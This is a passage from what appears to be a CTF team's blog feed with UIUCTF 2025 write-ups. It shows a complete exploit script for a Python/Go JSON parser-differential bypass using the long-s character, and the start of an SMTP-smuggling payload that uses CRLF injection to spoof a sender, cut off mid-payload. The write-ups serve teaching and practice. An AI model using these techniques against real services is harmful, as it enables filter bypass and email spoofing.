</code></pre><p><strong><code>uiuctf{maybe_i_should_just_use_react_c49b79}</code></strong></p>
]]></content></item><item><title>UIUCTF 25 - Shipping Bay</title><link>https://theromanxpl0.it/posts/2025/07/uiuctf-25-shipping-bay/</link><pubDate>Wed, 30 Jul 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/07/uiuctf-25-shipping-bay/</guid><description>&lt;p>&lt;em>UPS lost my package, so I&amp;rsquo;m switching to a more reliable carrier.&lt;/em>&lt;/p>
&lt;p>Here we are in Chapter Three of our Cyberspace Odyssey for uiuctf; this time, we are tasked with retrieving a particular cosmic cargo that got lost during astral shipping.&lt;/p>
&lt;p>&lt;img src="https://theromanxpl0.it/uiuctf2025/shipping-bay/screenshot-1.png" alt="Homepage">&lt;/p>
&lt;p>A real flashback to the future with its Y2K/Vaporwave Classic Windows 98 UI, proof that even in the space age, fashion remains cyclical.&lt;/p>
&lt;h2 id="unpacking-the-interplanetary-cargo">Unpacking the interplanetary cargo&lt;/h2>
&lt;p>Let&amp;rsquo;s try to create a new shipment.&lt;/p></description><content type="html"><![CDATA[<p><em>UPS lost my package, so I&rsquo;m switching to a more reliable carrier.</em></p>
<p>Here we are in Chapter Three of our Cyberspace Odyssey for uiuctf; this time, we are tasked with retrieving a particular cosmic cargo that got lost during astral shipping.</p>
<p><img src="/uiuctf2025/shipping-bay/screenshot-1.png" alt="Homepage"></p>
<p>A real flashback to the future with its Y2K/Vaporwave Classic Windows 98 UI, proof that even in the space age, fashion remains cyclical.</p>
<h2 id="unpacking-the-interplanetary-cargo">Unpacking the interplanetary cargo</h2>
<p>Let&rsquo;s try to create a new shipment.</p>
<p><img src="/uiuctf2025/shipping-bay/screenshot-2.png" alt="shipping"></p>
<p>We can pick from a variety of options here, but it doesn&rsquo;t really matter, the space courier will always lose our package</p>
<pre tabindex="0"><code>https://shipping-bay.chal.uiuc.tf/?status=oops+we+lost+the+package
</code></pre><p>Prodding at the code, there doesn&rsquo;t seem to be much we can work with, this debugging flag looks interesting at first:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#39;__main__&#39;</span>:
</span></span><span style="display:flex;"><span>	app.run(debug=<span style="color:#fc5fa3">True</span>)
</span></span></code></pre></div><p>but it&rsquo;s merely a red herring, we have no way of triggering the Werkzeug debug console.</p>
<p>Among the various supply types, there is one that piques our interest:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#6c7986">//main.go</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">func</span> <span style="color:#41a1c0">sendShipment</span>(shipment Shipment) <span style="color:#fc5fa3">string</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> shipment.SupplyType == <span style="color:#fc6a5d">&#34;flag&#34;</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> flag, exists := os.<span style="color:#41a1c0">LookupEnv</span>(<span style="color:#fc6a5d">&#34;FLAG&#34;</span>); exists {
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> flag
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">&#34;uiuctf{fake_flag}&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">&#34;oops we lost the package&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>But in order to retrieve our package, we first have to go through two different checks, this one in Go and the first one in <code>index.py</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">create_shipment</span>():
</span></span><span style="display:flex;"><span>    shipment_data = {k.lower(): v <span style="color:#fc5fa3">for</span> k, v in request.form.items()}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> shipment_data[<span style="color:#fc6a5d">&#39;supply_type&#39;</span>] == <span style="color:#fc6a5d">&#34;flag&#34;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">&#34;Error: Invalid supply type&#34;</span>, <span style="color:#d0bf69">400</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    shipment_status = subprocess.check_output([<span style="color:#fc6a5d">&#34;/home/user/processing_service&#34;</span>, json.dumps(shipment_data)]).decode().strip()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> redirect(url_for(<span style="color:#fc6a5d">&#39;index&#39;</span>, status=shipment_status))
</span></span></code></pre></div><p>Flask collects all submitted fields into a dict, lowercasing each key, so we can&rsquo;t simply enter two identical <code>supply_type</code> parameters or use capital letters to trick it into accepting our input.</p>
<p>Note, however, that this still allows us to enter two different <code>supply_type</code> fields in our input, as long as the second one is worded ever-so-<em>slightly</em> differently.</p>
<p>But how can we bypass it while ensuring that Go still reads a properly formatted <code>supply_type = flag</code> from the resulting Json?</p>
<h2 id="resistance-is-futile">Resistance is futile</h2>
<p>Thankfully, my teammate Leonardo came to the rescue and found <a href="https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/#case-insensitive-key-matching">this article</a> that mentions this exact scenario.</p>
<p>We are going to use this character: <code>ſ</code> (Latin small long‑s, U+017F, unchanged by <code>.lower()</code>), which enables us to construct our final <strong>payload</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>    form = [
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;origin&#34;</span>,       uid),
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;destination&#34;</span>,  <span style="color:#fc6a5d">&#34;Luna City&#34;</span>),
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;weight&#34;</span>,       <span style="color:#fc6a5d">&#34;1 ton&#34;</span>),
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;priority&#34;</span>,     <span style="color:#fc6a5d">&#34;Low&#34;</span>),
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;vessel&#34;</span>,       <span style="color:#fc6a5d">&#34;USS Tomorrow&#34;</span>),
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;supply_type&#34;</span>,  <span style="color:#fc6a5d">&#34;Tools&#34;</span>),           <span style="color:#6c7986"># passes the first python filter</span>
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;ſupply_type&#34;</span>,   <span style="color:#fc6a5d">&#34;flag&#34;</span>),           <span style="color:#6c7986"># overwrites the go parser</span>
</span></span><span style="display:flex;"><span>    ]
</span></span></code></pre></div><p>But <strong>what</strong> is going on under the hood?</p>
<p>On the <strong>Python</strong> side, only the ASCII‐key <code>&quot;supply_type&quot;</code> is checked, with our payload the ASCII key is still <code>&quot;Tools&quot;</code>, so this check passes.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>json.dumps(shipment_data)
</span></span><span style="display:flex;"><span>subprocess.check_output([<span style="color:#fc6a5d">&#34;/home/user/processing_service&#34;</span>, json.dumps(shipment_data)])
</span></span></code></pre></div><p>Json marshalling turns the payload into:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  &#34;origin&#34;:<span style="color:#fc6a5d">&#34;…&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#960050">…,</span>
</span></span><span style="display:flex;"><span>  &#34;supply_type&#34;:<span style="color:#fc6a5d">&#34;Tools&#34;</span>,
</span></span><span style="display:flex;"><span>  &#34;ſupply_type&#34;:<span style="color:#fc6a5d">&#34;flag&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><em>note that both keys appear distinctly</em></p>
<p>On the <strong>Go</strong> (processing_service) side:</p>
<ul>
<li>Go’s JSON unmarshaller scans keys in order and, upon each match, sets the struct field</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#fc5fa3">type</span> Shipment <span style="color:#fc5fa3">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#960050">…</span>
</span></span><span style="display:flex;"><span>    SupplyType <span style="color:#fc5fa3">string</span> <span style="color:#fc6a5d">`json:&#34;supply_type&#34;`</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050">…</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><ul>
<li>
<p>It matches keys using <strong>Unicode case‑folding</strong> (<code>strings.EqualFold</code>), which maps both ASCII “s” and the long‑s “ſ” to the same fold class “s”.</p>
</li>
<li>
<p>Therefore:</p>
<ol>
<li>
<p>On seeing <code>&quot;supply_type&quot;:&quot;Tools&quot;</code>, it sets <code>SupplyType = &quot;Tools&quot;</code>.</p>
</li>
<li>
<p>On seeing <code>&quot;ſupply_type&quot;:&quot;flag&quot;</code>, it also matches the same field (since “ſ” folds to “s”) and overwrites it with <code>&quot;flag&quot;</code>
This gives rise to a sort of pseudo-homographic <strong>parser differential</strong> attack.</p>
</li>
</ol>
</li>
</ul>
<h4 id="final-script">Final script</h4>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6c7986">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># -*- coding: utf-8 -*-</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> re, uuid, requests
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> urllib.parse <span style="color:#fc5fa3">import</span> unquote_plus
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>BASE   = <span style="color:#fc6a5d">&#34;https://shipping-bay.chal.uiuc.tf/&#34;</span>
</span></span><span style="display:flex;"><span>CREATE = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">{</span>BASE<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">/create_shipment&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">pretty</span>(loc):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> not loc:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>    decoded = unquote_plus(loc)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">───── Location (decoded) ─────&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> line in decoded.splitlines():
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;│&#34;</span>, line)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;───────────────────────────────&#34;</span>)
</span></span><span style="display:flex;"><span>    m = re.search(<span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;uiuctf\{[^}]+\}&#34;</span>, decoded)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> m.group(<span style="color:#d0bf69">0</span>) <span style="color:#fc5fa3">if</span> m <span style="color:#fc5fa3">else</span> <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">main</span>():
</span></span><span style="display:flex;"><span>    uid = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Earth‑</span><span style="color:#fc6a5d">{</span>uuid.uuid4()<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    form = [
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;origin&#34;</span>,       uid),
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;destination&#34;</span>,  <span style="color:#fc6a5d">&#34;Luna City&#34;</span>),
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;weight&#34;</span>,       <span style="color:#fc6a5d">&#34;1 ton&#34;</span>),
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;priority&#34;</span>,     <span style="color:#fc6a5d">&#34;Low&#34;</span>),
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;vessel&#34;</span>,       <span style="color:#fc6a5d">&#34;USS Tomorrow&#34;</span>),
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;supply_type&#34;</span>,  <span style="color:#fc6a5d">&#34;Tools&#34;</span>),           <span style="color:#6c7986">#passes Python filter</span>
</span></span><span style="display:flex;"><span>        (<span style="color:#fc6a5d">&#34;ſupply_type&#34;</span>,   <span style="color:#fc6a5d">&#34;flag&#34;</span>),           <span style="color:#6c7986">#second field - passes Go&#39;s parser</span>
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    r = requests.post(CREATE, data=form, allow_redirects=<span style="color:#fc5fa3">False</span>, timeout=<span style="color:#d0bf69">5</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;[+] HTTP </span><span style="color:#fc6a5d">{</span>r.status_code<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> k, v in r.headers.items():
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;    </span><span style="color:#fc6a5d">{</span>k<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">: </span><span style="color:#fc6a5d">{</span>v<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    flag = pretty(r.headers.get(<span style="color:#fc6a5d">&#34;Location&#34;</span>, <span style="color:#fc6a5d">&#34;&#34;</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">[+] FLAG:&#34;</span>, flag or <span style="color:#fc6a5d">&#34;not found&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><h3 id="all-your-flags-are-belong-to-us">ALL YOUR FLAGS ARE BELONG TO US</h3>
<p><strong><code>uiuctf{maybe_we_should_check_schemas_8e229f}</code></strong></p>
]]></content></item><item><title>UIUCTF 25 - Supermassive Black Hole</title><link>https://theromanxpl0.it/posts/2025/07/uiuctf-25-supermassive-black-hole/</link><pubDate>Wed, 30 Jul 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/07/uiuctf-25-supermassive-black-hole/</guid><description>&lt;p>&lt;em>Black Hole Ticketing Services prides itself on losing tickets at the speed of light. Can you get them to escalate?&lt;/em>&lt;/p>
&lt;p>Welcome back to the second installment in this series of cyber-spacefaring challenges from uiuctf.&lt;/p>
&lt;p>&lt;img src="https://theromanxpl0.it/uiuctf2025/supermassive-black-hole/screenshot-1.png" alt="Homepage">
Not as fancy as &lt;a href="https://theromanxpl0.it/posts/2025/07/uiuctf-25-ruler-of-the-universe/">&lt;em>Ruler of the Universe&lt;/em>&lt;/a>, but far less dystopian than some real-world customer service centers.&lt;/p>
&lt;p>The &lt;em>About us&lt;/em> page contains some useful information, namely &lt;a href="mailto:leadership@blackholeticketing.com">leadership@blackholeticketing.com&lt;/a>, that will come in handy later.&lt;/p>
&lt;p>&lt;img src="https://theromanxpl0.it/uiuctf2025/supermassive-black-hole/screenshot-2.png" alt="About-us">&lt;/p>
&lt;h2 id="dissecting-the-eventhorizon-mail-hub">Dissecting the Event‑Horizon Mail Hub&lt;/h2>
&lt;p>There&amp;rsquo;s an SMTP server running internally on port 1025, unfortunately, the port isn&amp;rsquo;t exposed to us, so we can&amp;rsquo;t interact with it directly:&lt;/p></description><content type="html"><![CDATA[<p><em>Black Hole Ticketing Services prides itself on losing tickets at the speed of light. Can you get them to escalate?</em></p>
<p>Welcome back to the second installment in this series of cyber-spacefaring challenges from uiuctf.</p>
<p><img src="/uiuctf2025/supermassive-black-hole/screenshot-1.png" alt="Homepage">
Not as fancy as <a href="https://theromanxpl0.it/posts/2025/07/uiuctf-25-ruler-of-the-universe/"><em>Ruler of the Universe</em></a>, but far less dystopian than some real-world customer service centers.</p>
<p>The <em>About us</em> page contains some useful information, namely <a href="mailto:leadership@blackholeticketing.com">leadership@blackholeticketing.com</a>, that will come in handy later.</p>
<p><img src="/uiuctf2025/supermassive-black-hole/screenshot-2.png" alt="About-us"></p>
<h2 id="dissecting-the-eventhorizon-mail-hub">Dissecting the Event‑Horizon Mail Hub</h2>
<p>There&rsquo;s an SMTP server running internally on port 1025, unfortunately, the port isn&rsquo;t exposed to us, so we can&rsquo;t interact with it directly:</p>
<p><code>smtp_server.py</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">async</span> <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">start_server</span>():
</span></span><span style="display:flex;"><span>    init_database()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    it_handler = ITBotHandler()
</span></span><span style="display:flex;"><span>    controller = Controller(it_handler, hostname=<span style="color:#fc6a5d">&#39;localhost&#39;</span>, port=<span style="color:#d0bf69">1025</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    controller.start()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> controller
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">async</span> <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">main</span>():
</span></span><span style="display:flex;"><span>    controller = <span style="color:#fc5fa3">await</span> start_server()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">await</span> asyncio.sleep(<span style="color:#d0bf69">5</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">except</span> KeyboardInterrupt:
</span></span><span style="display:flex;"><span>        controller.stop()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    asyncio.run(main())
</span></span></code></pre></div><p>Luckily, though, we don&rsquo;t need to, the server does all the work for us, everything we type into the ticket submission form gets conveniently inserted into a pre-packaged <code>message</code> and relayed to the SMTP listener:</p>
<p><code>web_server.py</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>        message_data = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;&#34;&#34;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">From: support@blackholeticketing.com</span><span style="color:#fc6a5d">\r\n\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">To: it@blackholeticketing.com</span><span style="color:#fc6a5d">\r\n\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">Subject: </span><span style="color:#fc6a5d">{</span>subject<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">\r\n\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">X-Ticket-ID: </span><span style="color:#fc6a5d">{</span>ticket_id<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">\r\n\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">\r\n\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">{</span>message<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">\r\n\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">.</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;&#34;&#34;</span>.encode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        ending_count = message_data.count(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">.</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> ending_count != <span style="color:#d0bf69">1</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">raise</span> ValueError(<span style="color:#fc6a5d">&#34;Bad Request&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">with</span> smtplib.SMTP(<span style="color:#fc6a5d">&#39;localhost&#39;</span>, <span style="color:#d0bf69">1025</span>) <span style="color:#fc5fa3">as</span> client:
</span></span><span style="display:flex;"><span>            client.helo(<span style="color:#fc6a5d">&#34;example.com&#34;</span>)
</span></span><span style="display:flex;"><span>            client.sendmail(<span style="color:#fc6a5d">&#39;support@blackholeticketing.com&#39;</span>, [<span style="color:#fc6a5d">&#39;it@blackholeticketing.com&#39;</span>], message_data)
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># Wait a second for SMTP to process the ticket</span>
</span></span><span style="display:flex;"><span>            time.sleep(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        ticket_data = {
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#39;id&#39;</span>: ticket_id,
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#39;timestamp&#39;</span>: <span style="color:#d0a8ff">int</span>(time.time() * <span style="color:#d0bf69">1000</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#39;from&#39;</span>: <span style="color:#fc6a5d">&#39;support@blackholeticketing.com&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#39;subject&#39;</span>: subject,
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#39;body&#39;</span>: message,
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#39;status&#39;</span>: <span style="color:#fc6a5d">&#39;submitted&#39;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> render_template(<span style="color:#fc6a5d">&#39;ticket_submitted.html&#39;</span>, ticket_data=ticket_data)
</span></span></code></pre></div><p>If we can somehow manage to change the sender address to <a href="mailto:leadership@blackholeticketing.com">leadership@blackholeticketing.com</a>, and impersonate their star‑fleet commander‑in‑chief, the server will print out the flag for us.</p>
<p><code>smtp_server.py</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>from_header = message.get(<span style="color:#fc6a5d">&#39;From&#39;</span>, <span style="color:#fc6a5d">&#39;Unknown&#39;</span>)
</span></span><span style="display:flex;"><span>subject = message.get(<span style="color:#fc6a5d">&#39;Subject&#39;</span>, <span style="color:#fc6a5d">&#39;No Subject&#39;</span>)
</span></span><span style="display:flex;"><span>body = <span style="color:#d0a8ff">str</span>(message.get_payload())
</span></span><span style="display:flex;"><span>ticket_id = message.get(<span style="color:#fc6a5d">&#39;X-Ticket-ID&#39;</span>, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">int</span>(time.time())<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">_</span><span style="color:#fc6a5d">{</span><span style="color:#a167e6">self</span>.processed_count<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> internal.leadership_email in from_header.lower():
</span></span><span style="display:flex;"><span>    response = <span style="color:#fc6a5d">&#34;C-Suite ticket received! Will escalate immediately!&#34;</span> + <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">{</span>internal.flag<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">elif</span> internal.support_email in from_header.lower():
</span></span><span style="display:flex;"><span>    response = <span style="color:#fc6a5d">&#34;Request for support received! Will resolve after lunch break.&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>    response = <span style="color:#fc6a5d">&#34;Please use our support portal to submit a ticket.&#34;</span>
</span></span></code></pre></div><p>Now, the Intergalactic Postal Center must suffer from the same understaffing and underpaying issues we have here on Earth, because somebody decided it would be a good idea to override every inherent safety function in the Python SMTP library:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>    smtplib._fix_eols = return_unchanged
</span></span><span style="display:flex;"><span>    smtplib._quote_periods = return_unchanged
</span></span><span style="display:flex;"><span>    smtplib.SMTP.data = new_data
</span></span></code></pre></div><ul>
<li><strong><code>_fix_eols</code></strong> normally converts <code>\n</code> into <code>\r\n</code> to follow the SMTP standard,</li>
<li><strong><code>_quote_periods</code></strong> does dot-stuffing (adds an extra period at the start of every line that begins with a period),</li>
<li><strong><code>SMTP.data</code></strong> was patched with <code>new_data</code>.</li>
</ul>
<p>It instead only runs one check:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>ending_count = message_data.count(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">.</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> ending_count != <span style="color:#d0bf69">1</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">raise</span> ValueError(<span style="color:#fc6a5d">&#34;Bad Request&#34;</span>)
</span></span></code></pre></div><p>it counts the number of terminators and allows there to be only one, this is to prevent us from closing our message and crafting a new one inside the same input.
But since <code>fix_eols</code> is deactivated, this is vulnerable to <strong>CRLF injection</strong>.</p>
<h2 id="examining-the-vulnerability">Examining the vulnerability</h2>
<p>We can use <code>\n.\r\n</code>, a.k.a <em>LF‑dot‑CRLF</em>, to close our crafted message, the SMTP server will recognize a dot-only line as end-of-DATA, and everything that follows (<code>MAIL FROM:…</code>, <code>RCPT TO:…</code>, etc.) will be interpreted  as new SMTP commands.</p>
<h4 id="the-payload">The payload</h4>
<pre tabindex="0"><code class="language-smtp" data-lang="smtp">&#34;\n.\r\n&#34;
&#34;MAIL FROM:&lt;ceo@supermassive.inc&gt;\r\n&#34;
&#34;RCPT TO:&lt;it@blackholeticketing.com&gt;\r\n&#34;
&#34;DATA\r\n&#34;
&#34;From: leadership@blackholeticketing.com\r\n&#34;
&#34;To: it@blackholeticketing.com\r\n&#34;
&#34;Subject: escalate\r\n&#34;
&#34;X-Ticket-ID: 1444\r\n&#34;
&#34;\r\n&#34;
